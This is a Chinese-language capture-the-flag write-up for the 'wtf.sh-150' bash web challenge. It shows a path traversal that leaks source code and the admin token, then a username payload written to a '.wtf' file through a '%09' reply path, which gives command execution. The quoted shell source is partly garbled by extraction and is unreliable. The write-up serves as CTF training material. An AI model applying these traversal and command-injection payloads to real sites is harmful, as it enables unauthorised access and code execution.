wtf.sh-150
-
题目描述
没有描述
-
解题过程
打开之后是个论坛,有注册和登录功能点
抓包发现,登陆成功后会设置cookie
<script>document.cookie = 'USERNAME=111; expires=Fri Jun 12 08:38:28 UTC 2020; path=/';</script> <script>document.cookie = 'TOKEN=t55Hum7I9JkaDhm/uaRpsSJCtHfa00kduB69G8EiNhpO4o70O4GLGKcMnE6S/CNyHDNINzCAD36/q7lm0jXE2w==; expires=Fri Jun 12 08:38:28 UTC 2020; path=/';</script>
尝试了修改cookie里的user字段,但是有token绑定,会被检测到
-
登录
尝试sql注入 x
-
注册
登陆后可以看到自己的id,尝试了sql注入, x
尝试了覆盖注册, x
尝试了帖子的url里post参数的注入,x
-
发布帖子/回复
ssti,x
-
用dirsearch扫描了一遍,没什么可利用的信息
没什么思路,去看了大佬的wp,发现是路径穿越
访问
url/post.wtf?post=../
,会返回目录下的文件内容,搜索flag,找到关键代码$ if contains 'user' ${!URL_PARAMS[@]} && file_exists "users/${URL_PARAMS['user']}" $ then $ local username=$(head -n 1 users/${URL_PARAMS['user']}); $ echo "<h3>${username}'s posts:</h3>"; $ echo "<ol>"; $ get_users_posts "${username}" | while read -r post; do $ post_slug=$(awk -F/ '{print $2 "#" $3}' <<< "${post}"); $ echo "<li><a href="/post.wtf?post=${post_slug}">$(nth_line 2 "${post}" | htmlentities)</a></li>"; $ done $ echo "</ol>"; $ if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]] $ then $ get_flag1 $ fi $ fi
分析这段代码:
- 从上面一段可以知道存在路径
users/
,因为这是访问的../
路径,那么文件路径为../users/
,该路径下存储了用户的帖子 - 从下面一段可以知道,如果cookie的username字段和登录后的用户名都为
admin
,那么就会拿到flag
尝试访问
../users
。。。里面全是sqlmap的payload找到
admin
,拿到token但登录上在profile里只拿到了一半flag = =
经过上边的尝试,就只有目录遍历这一个漏洞点,猜测需要继续利用这个漏洞,但是找不到利用方法。。。继续参考
发现需要在
../
路径下寻找wtf
相关的代码进行审计分析,max_page_include_depth=64 page_include_depth=0 function include_page { # include_page pathname local pathname=$1 local cmd="" [[ ${pathname(-4)} = '.wtf' ]]; local can_execute=$; page_include_depth=$(($page_include_depth+1)) if [[ $page_include_depth -lt $max_page_include_depth ]] then local line; while read -r line; do # check if we're in a script line or not ($ at the beginning implies script line) # also, our extension needs to be .wtf [[ $ = ${line01} && ${can_execute} = 0 ]]; is_script=$; # execute the line. if [[ $is_script = 0 ]] then # 如果可执行 # 添加到cmd中 cmd+=$'n'${line#$}; # cmd+=('n' + 从文件中读取一行,并删除$) else # 如果不可执行 # 如果cmd不为空 if [[ -n $cmd ]] then # 执行cmd eval "$cmd" || log "Error during execution of ${cmd}"; cmd= "" fi # 打印不可执行的语句 echo $line fi done ${pathname} else echo pMax include depth exceeded!p fi } function reply { local post_id=$1; local username=$2; local text=$3; local hashed=$(hash_username "${username}"); curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1); next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}"); next_file=(posts/${post_id}/${next_reply_id}); # 这里可以进行文件上传,类似php的00截断,但这里用的是%09 echo "${username}" > "${next_file}"; echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}"; echo "${text}" >> "${next_file}"; # add post this is in reply to to posts cache echo "${post_id}/${next_reply_id}" >> "users_lookup/${hashed}/posts"; }
emmmmm,shell脚本看不太懂,花了点时间去看了下语法,写了一点注释
通过审计,知道两个可利用的点:
- 符合
.wtf
文件中符合$
开头的语句会被执行 - 回复帖子时,可以通过构造
post_id
创建.wtf
文件,并且把username
写入其中(这里用username
的原因是会作为文件开头,可以把$
写到开头)
构造payload:
-
1
username=${find,/,-iname,get_flag2}
(username中不能有空格)访问
/reply.wtf?post=../cmd.wtf%09
访问
/cmd.wtf
看到命令执行的结果:
/usr/bin/get_flag2 RE: asdasd
-
2
找到flag2文件后,可以直接利用
echo "${username}" > "${next_file}";
,把文件直接写到cmd.wtf
里username=$/usr/bin/get_flag2
访问
/reply.wtf?post=../cmd.wtf%09
访问
/cmd.wtf
拿到第二个flag
-
感觉比前面的题难了不少,综合利用到的知识点多了一些,但同时利用多个点进行攻击的方式很好玩!!!